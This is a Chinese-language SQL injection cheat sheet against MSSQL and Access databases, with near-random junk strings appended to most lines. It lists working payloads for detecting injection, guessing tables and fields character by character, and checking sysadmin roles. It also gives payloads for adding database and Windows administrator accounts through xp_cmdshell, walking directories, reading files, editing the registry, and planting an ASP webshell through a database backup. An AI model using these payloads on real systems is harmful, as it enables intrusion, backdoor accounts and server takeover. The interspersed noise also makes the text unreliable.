1.判断是否有注入;and 1=1 ;and 1=2 0Wp|1)ljA
2.初步判断是否是mssql ;and user>0 }l9llu
_PR4`C*
3.注入参数是字符'and [查询条件] and ''=' E&:,oG2M
|
VDV<g5h
4.搜索时没过滤参数的'and [查询条件] and '%25'=' IO:G1;[/2L
Y\'}a+:@Ph
5.判断数据库系统 +x}<IS8
Fv`,3aNB
;and (select count(*) from sysobjects)>0 mssql 6;5Ss?ep
iDrZc
;and (select count(*) from msysobjects)>0 access Rbv;?'O$L
;YL i{
Z;)%%V%o
h2J
x]FJ
6.猜数据库 ;and (select Count(*) from [数据库名])>0 eh#(eua0/
vs{s_T7Mz]
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 R0-j5&^jju
lU8Hd|@-
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 b5n'=doR/I
lsNd_7k
9.(1)猜字段的ascii值(access) -d:Jta!}{
;i+#fQO7Q
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 8DaL,bi*.
%ULr8)R;
(2)猜字段的ascii值(mssql) Dv`c<+q(#
SMK_6?MZ
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 d m%8K6|
;i:d+!3XwC
10.测试权限结构(mssql) RViuJ;
}*"p?L^p{
;gr9/Vl
IIx#2r
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- uY'HT|@:{
7. ;3e@s
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- y"wShAR
,$&&-p I]
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- @Do= k
;sFF+^~L
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- S|+o-[e8O
4H]L~^CD
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- $PHvA6D
.#pU=v#/[
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- UW
EV^ &"x
JqiP>4Uwm^
;and 1=(select IS_MEMBER('db_owner'));-- }JAG7L&{
8Uxne2e
)53y
AyP
Mf``_=K
11.添加mssql和系统的帐户 uu687|Pm
H$4:lH&(
;exec master.dbo.sp_addlogin username;-- h 9W^[6
;exec master.dbo.sp_password null,username,password;-- lnR{jtWP
L*JjG sTH
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- #Mw8^FST
#>+ HlT
;exec master.dbo.xp_cmdshell 'net user username password Y:a]00&)#Y
H7:] ]j1
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- )K
pyvSwD5t
;exec master.dbo.xp_cmdshell 'net user username password /add';-- HyWCMK6b
?6Y?a2 |
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- E< fV Z,
a:6m7U)P#5
U4B(#2'
wD)XjX
12.(1)遍历目录 ~e@z;]CiY
TRq6NB
;create table dirs(paths varchar(100), id int) "9e\c;a
L;I]OC^J
;insert dirs exec master.dbo.xp_dirtree 'c:\' sLQ^F
DR<9#RRD
;and (select top 1 paths from dirs)>0 G'A R`"F
0"bcdG<}
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ea')$gR
C3YT1tK
w`zTR0`
E^eVvP4uC@
(2)遍历目录 ixD)VcD-f
CzEd8jeh7
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- sLAQE64\"
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 oILZgNe'
E~oOKQ5W
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Y0-n\|
@I!0-OjL
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 )Z9>$V$j
d-dEQKI?;
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 N<injx
e**qF=HCw
[HZv8HU|
>\3V a
13.mssql中的存储过程 BR yl4
}U"&8%PZr
xp_regenumvalues 注册表根键, 子键 W:L
AP
R
WI-1)1t
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ZExlGC
;;N9>M?b
xp_regread 根键,子键,键值名 @6T/Tdz
kpN)zxfk
;exec xp_regread %OOl'o"V{s
`RL"AH:+
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 j#q-^h3H
Z>5b;8
xp_regwrite 根键,子键, 值名, 值类型, 值 pg)WKbV
*CI#+P
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ut7zVp<"
[K0(RDV)%
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 kL"2=7m;
YteO6A;
xp_regdeletevalue 根键,子键,值名 HCC#j9UN6
o:Sa,
!DK
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 &FN.:_E
}Ud*TOo `
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 _>X+ZlpU:
( 0_2sfS
YglmX"fLf
Zba2d,8/
14.mssql的backup创建webshell J{fH['tzO
RdRp.pb8
use model l]l'4@1
]|PiF+
create table cmd(str image); _^%,x
(M.&^w;`,
insert into cmd(str) values (''); N64dO[op
Cd}<a?m,
backup database model to disk='c:\l.asp'; VQ9/Gxdeo
\n|EM@=eE
nk's_a*Z
sN01rtB(UT
15.mssql内置函数 6zuTQ^pz
4)urU7[ &)
;and (select @@version)>0 获得Windows的版本号 ={@6{-tl
D7Q$R:6|
;and user_name()='dbo' 判断当前系统的连接用户是不是sa >jc [nk
+*/Zu`kzX
;and (select user_name())>0 爆当前系统的连接用户 z/@slT
9Y_HyOZ*GX
;and (select db_name())>0 得到当前连接的数据库 9N3o-=
p]2128kqx
>V8-i`
)cMh0SGcM1
16.简洁的webshell fN1-d&T
LIF7/$,0
use model )W
_v:?A9
3K0A)W/YEs
create table cmd(str image); o9yJf#-En
dn$!&
insert into cmd(str) values (''); w-L=LWL\
A0 C,tVd
backup database model to disk='g:\wwwtest\l.asp';